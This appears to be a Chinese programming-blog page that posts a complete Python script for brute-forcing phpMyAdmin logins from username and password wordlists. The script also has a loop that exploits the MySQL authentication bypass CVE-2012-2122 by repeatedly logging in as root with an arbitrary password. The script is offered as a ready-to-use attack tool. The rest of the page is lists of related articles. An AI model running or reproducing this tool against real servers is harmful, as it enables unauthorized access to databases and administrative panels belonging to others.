Python写的PHPMyAdmin暴力破解工具代码


Posted in Python onAugust 06, 2014

PHPMyAdmin暴力破解,加上CVE-2012-2122 MySQL Authentication Bypass Vulnerability漏洞利用。

#!/usr/bin/env python
import urllib 
import urllib2 
import cookielib 
import sys
import subprocess
def Crack(url,username,password):
	opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cookielib.LWPCookieJar())) 
	headers = {'User-Agent' : 'Mozilla/5.0 (Windows NT 6.1; WOW64)'}
	params = urllib.urlencode({'pma_username': username, 'pma_password': password})
	request = urllib2.Request(url+"/index.php", params,headers)
	response = opener.open(request) 
	a=response.read() 
	if a.find('Database server')!=-1 and a.find('name="login_form"')==-1:
		return username,password
	return 0
def MySQLAuthenticationBypassCheck(host,port):
	i=0
	while i<300:
		i=i+1
		subprocess.Popen("mysql --host=%s -P %s -uroot -piswin" % (host,port),shell=True).wait()
if __name__ == '__main__':
	if len(sys.argv)<4:
		print "#author:iswin\n#useage python pma.py https://3water.com/phpmyadmin/ username.txt password.txt"
		sys.exit()
	print "Bruting,Pleas wait..."
	for name in open(sys.argv[2],"r"):
		for passw in open(sys.argv[3],"r"):
			state=Crack(sys.argv[1],name,passw)
			if state!=0:
				print "\nBrute successful"
				print "UserName: "+state[0]+"PassWord: "+state[1]
				sys.exit()
	print "Sorry,Brute failed...,try to use MySQLAuthenticationBypassCheck"
	choice=raw_input('Warning:This function needs mysql environment.\nY:Try to MySQLAuthenticationBypassCheck\nOthers:Exit\n')
	if choice=='Y' or choice=='y':
		host=raw_input('Host:')
		port=raw_input('Port:')
		MySQLAuthenticationBypassCheck(host,port)
Python 相关文章推荐
利用Python中的输入和输出功能进行读取和写入的教程
Apr 14 Python
Python字符串详细介绍
May 09 Python
举例讲解Python中字典的合并值相加与异或对比
Jun 04 Python
python中import学习备忘笔记
Jan 24 Python
Python常见读写文件操作实例总结【文本、json、csv、pdf等】
Apr 15 Python
pandas数据筛选和csv操作的实现方法
Jul 02 Python
python使用 zip 同时迭代多个序列示例
Jul 06 Python
Python+Selenium使用Page Object实现页面自动化测试
Jul 14 Python
Python自动巡检H3C交换机实现过程解析
Aug 14 Python
Python 中数组和数字相乘时的注意事项说明
May 10 Python
Elasticsearch 索引操作和增删改查
Apr 19 Python
python turtle绘图
May 04 Python
Python写的Discuz7.2版faq.php注入漏洞工具
Aug 06 #Python
Python常用列表数据结构小结
Aug 06 #Python
Python生成pdf文件的方法
Aug 04 #Python
Tornado Web服务器多进程启动的2个方法
Aug 04 #Python
Python通过解析网页实现看报程序的方法
Aug 04 #Python
基于Python实现的扫雷游戏实例代码
Aug 01 #Python
python脚本实现查找webshell的方法
Jul 31 #Python
You might like
一个简单的PHP入门源程序
2006/10/09 PHP
Cannot modify header information错误解决方法
2008/10/08 PHP
jquery ui dialog里调用datepicker的问题
2009/08/06 Javascript
JavaScript高级程序设计 阅读笔记(十四) js继承机制的实现
2012/08/14 Javascript
jquery弹出框的用法示例(2)
2013/08/26 Javascript
js实现带关闭按钮始终显示在网页最底部工具条的方法
2015/03/02 Javascript
jQuery检测返回值的数据类型
2015/07/13 Javascript
Express实现前端后端通信上传图片之存储数据库(mysql)傻瓜式教程(一)
2015/12/10 Javascript
Js 获取、判断浏览器版本信息的简单方法
2016/08/08 Javascript
javascript匀速动画和缓冲动画详解
2016/10/20 Javascript
如何使用Vuex+Vue.js构建单页应用
2016/10/27 Javascript
原生js实现弹出层登录拖拽功能
2016/12/05 Javascript
JS实现将二维数组转为json格式字符串操作示例
2018/07/12 Javascript
vue生成token并保存到本地存储中
2018/07/17 Javascript
springMvc 前端用json的方式向后台传递对象数组方法
2018/08/07 Javascript
Vue elementui字体图标显示问题解决方案
2020/08/18 Javascript
浅谈Python的Django框架中的缓存控制
2015/07/24 Python
Python配置mysql的教程(推荐)
2017/10/13 Python
python爬虫基本知识
2018/03/05 Python
python如何通过twisted实现数据库异步插入
2018/03/20 Python
Windows 安装 Anaconda3+PyCharm的方法步骤
2019/06/13 Python
浅谈python之自动化运维(Paramiko)
2020/01/31 Python
Python基于codecs模块实现文件读写案例解析
2020/05/11 Python
Python数据可视化图实现过程详解
2020/06/12 Python
Python实现Keras搭建神经网络训练分类模型教程
2020/06/12 Python
python与c语言的语法有哪些不一样的
2020/09/13 Python
应届生人事助理求职信
2013/11/09 职场文书
环境科学专业个人求职的自我评价
2013/11/28 职场文书
五年级语文教学反思
2014/01/30 职场文书
《一本男孩子必读的书》教学反思
2014/02/19 职场文书
加入学生会演讲稿
2014/04/24 职场文书
国际经济贸易专业自荐信
2014/06/13 职场文书
党员民主生活会对照检查材料思想汇报
2014/09/28 职场文书
大学迎新生标语
2014/10/06 职场文书
2014年老干部工作总结
2014/11/21 职场文书
节约用水广告语60条
2019/11/14 职场文书